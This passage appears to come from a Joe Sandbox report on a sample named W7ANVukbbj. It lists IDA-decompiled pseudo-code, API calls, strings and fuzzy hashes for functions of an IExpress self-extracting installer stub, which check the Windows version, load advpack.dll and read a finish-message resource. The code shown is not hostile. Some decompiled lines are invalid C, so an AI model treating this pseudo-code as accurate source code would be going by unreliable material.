Strings

<None>, xrefs: 00863AC5
LICENSE, xrefs: 00863A46

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 52b8e8120424b9285d87039b04d63ef0ecc6fc00a21e66c1e362096d22889bd0
Instruction ID: 3a84744c692bd0f4d853f43bef36bc9d6bc4f72cd08d635cb9f30556f24d1a7e
Opcode Fuzzy Hash: 52b8e8120424b9285d87039b04d63ef0ecc6fc00a21e66c1e362096d22889bd0
Instruction Fuzzy Hash: 9111DD70301201EBD7649F76AC0AE1739BEFBD5710B13512DF545EB2E1EEF988009625

Uniqueness

Uniqueness Score: -1.00%

Function 008624E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E008624E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0x868004; // 0xb82e2007
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E0086658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E00866CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x008624e0
0x008624eb
0x008624f2
0x008624f7
0x00862504
0x0086250e
0x0086251d
0x0086252c
0x00862541
0x00862546
0x00862553
0x00862555
0x00862555
0x00862546
0x0086256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00862506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 0086252C
_lopen.KERNEL32 ref: 0086253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 0086254C
_lclose.KERNEL32(00000000), ref: 00862555

Strings

wininit.ini, xrefs: 00862510

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: dc82fa7edd1b91426adfbea592229b4aea0d1ed054676d741007d5826f8de1b8
Instruction ID: 4ebb9a5aa17310318c1185b47d3f6df3d0e13398e5e1181d7d00acf556d7eaf5
Opcode Fuzzy Hash: dc82fa7edd1b91426adfbea592229b4aea0d1ed054676d741007d5826f8de1b8
Instruction Fuzzy Hash: 7C01B532600518A7C720EB699C0DEDF7B7CFB45750F020195FA59E3190DEB48E45CE92

Uniqueness

Uniqueness Score: -1.00%

Function 008636EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E008636EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0x868004; // 0xb82e2007
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0x868184 = 1;
						 *0x868180 = 1;
						L13:
						 *0x869a40 = _t119;
						L14:
						__eflags =  *0x868a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E00862A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E00862A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0x868a38 & 0x00000001;
											if(( *0x868a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("herso");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E0086681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "herso", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E008667C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E008628E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0x869a40 = _t119;
						 *0x868184 = 1;
						 *0x868180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0x869a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0x868184 = _t135;
							 *0x868180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E008644B9(0, _t138);
					L66:
					return E00866CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x008636f9
0x00863700
0x0086370c
0x00863716
0x00863718
0x0086371b
0x00863721
0x0086372b
0x0086373d
0x00863745
0x00863746
0x00863746
0x00863749
0x008637ab
0x008637ad
0x008637ae
0x008637b3
0x008637b8
0x008637b8
0x008637bf
0x008637bf
0x008637c5
0x00000000
0x00000000
0x008637cb
0x008637cd
0x00000000
0x00000000
0x008637d5
0x008637db
0x008637e8
0x008637ea
0x008637ea
0x008637ea
0x008637f0
0x008637f6
0x00863805
0x00863817
0x0086382b
0x00863830
0x00863836
0x0086383b
0x0086383d
0x008638eb
0x008638eb
0x008638f2
0x0086390c
0x00863911
0x00863911
0x00863913
0x0086394d
0x0086394d
0x0086394f
0x008638a9
0x008638a9
0x008638b0
0x008638b2
0x008638b9
0x008638bb
0x008638c1
0x00863975
0x008638c7
0x008638de
0x008638e0
0x008638e0
0x0086397b
0x0086397d
0x008639a9
0x0086397f
0x00863982
0x0086398b
0x0086398d
0x0086398f
0x0086399f
0x008639a1
0x00863991
0x00863991
0x00863991
0x0086398f
0x008639af
0x008639b6
0x00863a0f
0x00863a0f
0x00863a11
0x00863a13
0x00863a19
0x00000000
0x008639b8
0x008639b8
0x008639ba
0x00000000
0x00000000
0x008639bc
0x008639bf
0x00000000
0x00000000
0x008639c3
0x008639c9
0x008639ce
0x008639d0
0x008639e3
0x008639e5
0x008639e6
0x008639f1
0x008639f7
0x008639fa
0x00863a01
0x00863a04
0x00000000
0x00000000
0x00863a06
0x00863a09
0x00863a09
0x00863a0b
0x00863a0b
0x00000000
0x00863a09
0x008639fc
0x00000000
0x008639fc
0x008639d3
0x008639d8
0x008639da
0x00000000
0x00000000
0x00000000
0x008639dc
0x008639b6
0x00863955
0x0086395b
0x00000000
0x00000000
0x00863961
0x00863963
0x00000000
0x00000000
0x00863969
0x00863969
0x00000000
0x00863969
0x00863915
0x00863915
0x0086391b
0x0086391f
0x00000000
0x00000000
0x0086392d
0x00863933
0x00863938
0x0086393a
0x00000000
0x00000000
0x00863940
0x00863946
0x0086394b
0x00000000
0x0086394b
0x00000000
0x008638f2
0x00863843
0x00863845
0x00000000
0x00000000
0x0086384b
0x0086384d
0x00863883
0x00863885
0x00000000
0x00000000
0x0086389a
0x0086389e
0x0086389e
0x00000000
0x00000000
0x008638a0
0x008638a0
0x008638a2
0x00000000
0x00000000
0x008638a4
0x00000000
0x008638a4
0x0086384f
0x00863851
0x00863857
0x0086386e
0x00863877
0x0086387b
0x00000000
0x00000000
0x00000000
0x00863881
0x00863859
0x0086385c
0x00863862
0x00863866
0x00000000
0x00000000
0x00863868
0x00000000
0x008638f4
0x008638f4
0x008638f5
0x008638fb
0x00863901
0x00863901
0x00000000
0x0086390a
0x0086374b
0x0086374e
0x0086375c
0x00863764
0x00863769
0x0086376e
0x00863771
0x0086379c
0x0086379f
0x00000000
0x00000000
0x008637a3
0x008637a4
0x00000000
0x008637a4
0x00863773
0x00863777
0x00863778
0x0086377f
0x00863781
0x0086378e
0x0086378e
0x00863794
0x00000000
0x00863794
0x00863783
0x00000000
0x00000000
0x00863785
0x0086378c
0x00000000
0x00000000
0x00000000
0x0086378c
0x00863750
0x00000000
0x0086372d
0x0086372d
0x0086396b
0x0086396b
0x0086396c
0x0086396e
0x0086396f
0x00863a1e
0x00863a1e
0x00863a22
0x00863a27
0x00863a3e
0x00863a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00863723
MessageBeep.USER32(00000000), ref: 008639C3
MessageBoxA.USER32(00000000,00000000,herso,00000030), ref: 008639F1

Strings

herso, xrefs: 008639E9, 00863A19
3, xrefs: 00863785

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$herso
API String ID: 2519184315-3003840238
Opcode ID: 81f15a74ee3d0f1e08226f578bb0b13c6d6bf98476e4c16d5eb67f5bc66fcf7a
Instruction ID: a23a60edc0ff8618498053c39a872aee016fc8e21b52c8caa1e3080793482993
Opcode Fuzzy Hash: 81f15a74ee3d0f1e08226f578bb0b13c6d6bf98476e4c16d5eb67f5bc66fcf7a
Instruction Fuzzy Hash: 0891E4B1A012289BDB358F54CD81BEA77B5FB46305F1701A9D88AEB291DB708F80DF41

Uniqueness

Uniqueness Score: -1.00%

Function 00866495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00866495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0x868004; // 0xb82e2007
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E00861781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
				_t26 = "advpack.dll";
				E0086658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E00866CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x00866495
0x00866495
0x008664a0
0x008664a7
0x008664ab
0x008664bd
0x008664c2
0x008664d3
0x008664df
0x008664e8
0x00866502
0x008664ee
0x008664f9
0x008664f9
0x00866516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 008664DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 008664F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00866502

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008664AC
advpack.dll, xrefs: 008664C2, 008664CD, 00866501

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-258089097
Opcode ID: f3cc4ed23d8f082296f1dd5e000f4f42fd901d50815d75d335ad8f97cfcda1c7
Instruction ID: 935ccaf4d8dcd6eca00e25961a7393b4d4d61a8dfad586d08c1f3f194e50ab5e
Opcode Fuzzy Hash: f3cc4ed23d8f082296f1dd5e000f4f42fd901d50815d75d335ad8f97cfcda1c7
Instruction Fuzzy Hash: 1A01D630904108EBDB54DB64DC4AAEA7378FB61314F520195F596E21C0EFB09E998B52

Uniqueness

Uniqueness Score: -1.00%

Function 008628E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008628E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E00862773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E00862A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E00862A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x008628f1
0x008628f4
0x008628f7
0x008628f9
0x008628fc
0x008628ff
0x00862901
0x00862907
0x00862a62
0x00862a64
0x0086290d
0x0086290d
0x0086290f
0x00862912
0x00862920
0x00862937
0x00000000
0x00000000
0x00862944
0x0086294a
0x0086294f
0x00862a2f
0x00862a32
0x00862a34
0x00862a37
0x00862a41
0x00000000
0x00000000
0x00862955
0x0086295e
0x00862962
0x00862969
0x0086296f
0x00862974
0x0086298c
0x00862a20
0x00862a21
0x00862a27
0x00862a4c
0x00862a4f
0x00862a50
0x00862a53
0x00862a56
0x00862a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x008629b2
0x008629b2
0x008629b5
0x008629bd
0x008629c3
0x008629cc
0x008629d5
0x008629d7
0x008629da
0x008629dd
0x008629df
0x008629ec
0x008629f8
0x008629fc
0x008629ff
0x00862a02
0x00862a07
0x00862a0a
0x00862a0f
0x00862a19
0x00862a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00862a0f
0x0086298c
0x00862974
0x00862962
0x00000000
0x0086294f
0x00862912
0x00862a65
0x00862a68
0x00862a6c
0x00862a6f
0x00862a6f
0x00862a7d

APIs

GlobalFree.KERNEL32 ref: 00862A6F

Part of subcall function 00862773: CharUpperA.USER32(B82E2007,00000000,00000000,00000000), ref: 008627A8
Part of subcall function 00862773: CharNextA.USER32(0000054D), ref: 008627B5
Part of subcall function 00862773: CharNextA.USER32(00000000), ref: 008627BC
Part of subcall function 00862773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00862829
Part of subcall function 00862773: RegQueryValueExA.ADVAPI32(?,00861140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00862852
Part of subcall function 00862773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00862870
Part of subcall function 00862773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 008628A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00863938,?,?,?,?,-00000005), ref: 00862958
GlobalLock.KERNEL32 ref: 00862969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00863938,?,?,?,?,-00000005,?), ref: 00862A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 00862A81

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: d4b6a75adb4ff191e84bcfeb7ca4ce8e2ef37bccff4566c9ca16ba3d2a4e0393
Instruction ID: 561e4a5f360b91df48620189850bf76ec6de468768ba776a989ff01979625f9f
Opcode Fuzzy Hash: d4b6a75adb4ff191e84bcfeb7ca4ce8e2ef37bccff4566c9ca16ba3d2a4e0393
Instruction Fuzzy Hash: 80514831A00629DBCB25CF98D885AAEBBB5FF48701F1640AAE911E3211DB719941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00864169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00864169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E0086468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E0086468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E008644B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E008644B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x0086417d
0x0086418f
0x00864193
0x008641b7
0x008641d3
0x008641e6
0x00000000
0x008641e7
0x008641d5
0x008641d6
0x008641d8
0x008641d9
0x008641da
0x008641df
0x008641e1
0x00000000
0x008641e1
0x008641b9
0x008641ba
0x008641bc
0x008641bd
0x008641be
0x00000000
0x008641be
0x00000000

APIs

Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646A0
Part of subcall function 0086468F: SizeofResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646A9
Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646C3
Part of subcall function 0086468F: LoadResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646CC
Part of subcall function 0086468F: LockResource.KERNEL32(00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646D3
Part of subcall function 0086468F: memcpy_s.MSVCRT ref: 008646E5
Part of subcall function 0086468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008646EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,008630B4), ref: 00864189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,008630B4), ref: 008641E7

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Strings

<None>, xrefs: 008641C5
FINISHMSG, xrefs: 00864173, 008641AB

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 74386932c16db0b2944518b01452ac506d8846258c8b8520890f5cc48585003c
